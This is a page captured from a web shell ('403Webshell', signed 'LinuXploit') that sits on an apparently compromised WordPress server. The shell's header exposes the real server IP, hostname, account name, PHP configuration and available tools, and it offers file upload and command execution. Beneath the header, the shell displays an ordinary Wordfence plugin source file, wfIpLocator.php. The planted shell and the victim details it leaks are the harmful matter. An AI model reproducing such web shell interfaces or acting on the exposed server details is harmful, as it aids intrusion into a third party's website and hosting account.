403Webshell
Server IP : 27.254.86.99  /  Your IP : 216.73.216.234
Web Server : LiteSpeed
System : Linux wp1.hostneverdie.com 4.18.0-553.46.1.lve.el8.x86_64 #1 SMP Wed Apr 2 11:16:45 UTC 2025 x86_64
User : qtccargo ( 1078)
PHP Version : 8.2.29
Disable Function : apache_child_terminate, apache_setenv, define_syslog_variables, escapeshellarg, escapeshellcmd,exec, fp, fput, highlight_file, ini_alter, ini_restore, inject_code, passthru,phpAds_remoteInfo, phpAds_XmlRpc,phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid,posix_setuid, posix_setuid, posix_uname,proc_open,proc_close, proc_get_status, proc_nice, proc_terminate, shell_exec, syslog, system, xmlrpc_entity_decode, show_source,pcntl_exec,virtual,suexec,dbmopen,dl,disk_free_space,diskfreespace,leak
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/qtccargo/public_html/wp-content/plugins/wordfence/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/qtccargo/public_html/wp-content/plugins/wordfence/lib/wfIpLocator.php
<?php

require_once __DIR__ . '/../vendor/autoload.php';

require_once __DIR__ . '/wfIpLocation.php';

use Wordfence\MmdbReader\Database;
use Wordfence\MmdbReader\Exception\MmdbThrowable;

class wfIpLocator {

	const SOURCE_BUNDLED = 0;
	const SOURCE_WFLOGS = 1;

	private static $instances = array();

	private $database;
	private $preferred;

	private function __construct($database, $preferred) {
		$this->database = $database;
		$this->preferred = $preferred;
	}

	public function isPreferred() {
		return $this->preferred;
	}

	private static function logError($message) {
		if (class_exists('wfUtils'))
			wfUtils::check_and_log_last_error('ip_locator', 'IP Location Error:', $message, 0);
	}

	public function locate($ip) {
		if ($this->database !== null) {
			try {
				$record = $this->database->search($ip);
				if ($record !== null)
					return new wfIpLocation($record);
			}
			catch (MmdbThrowable $t) {
				self::logError('Failed to locate IP address: ' . $t->getMessage());
			}
		}
		return null;
	}

	public function getCountryCode($ip, $default = '') {
		$record = $this->locate($ip);
		if ($record !== null)
			return $record->getCountryCode();
		return $default;
	}

	public function getDatabaseVersion() {
		if ($this->database !== null) {
			try {
				return $this->database->getMetadata()->getBuildEpoch();
			}
			catch (MmdbThrowable $t) {
				self::logError('Failed to retrieve database version: ' . $t->getMessage());
			}
		}
		return null;
	}

	private static function getDatabaseDirectory($source) {
		switch ($source) {
		case self::SOURCE_BUNDLED:
			return WFWAF_LOG_PATH;
		case self::SOURCE_BUNDLED:
		default:
			return __DIR__;
		}
	}

	private static function initializeDatabase($preferredSource, &$isPreferred) {
		$sources = array();
		if ($preferredSource !== self::SOURCE_BUNDLED)
			$sources[] = $preferredSource;
		$sources[] = self::SOURCE_BUNDLED;
		$isPreferred = true;
		foreach ($sources as $source) {
			$directory = self::getDatabaseDirectory($source);
			try {
				$path = $directory . '/' . wfIpLocation::DATABASE_FILE_NAME;
				if (file_exists($path)) //Preemptive check to prevent warnings
					return Database::open($path);
			}
			catch (MmdbThrowable $t) {
				self::logError('Failed to initialize IP location database: ' . $t->getMessage());
			}
			$preferred = false;
		}
		return null;
	}

	public static function getInstance($preferredSource = null) {
		if ($preferredSource === null)
			$preferredSource = self::SOURCE_WFLOGS;
		if (!array_key_exists($preferredSource, self::$instances)) {
			$database = self::initializeDatabase($preferredSource, $isPreferred);
			self::$instances[$preferredSource] = new wfIpLocator($database, $isPreferred);
		}
		return self::$instances[$preferredSource];
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit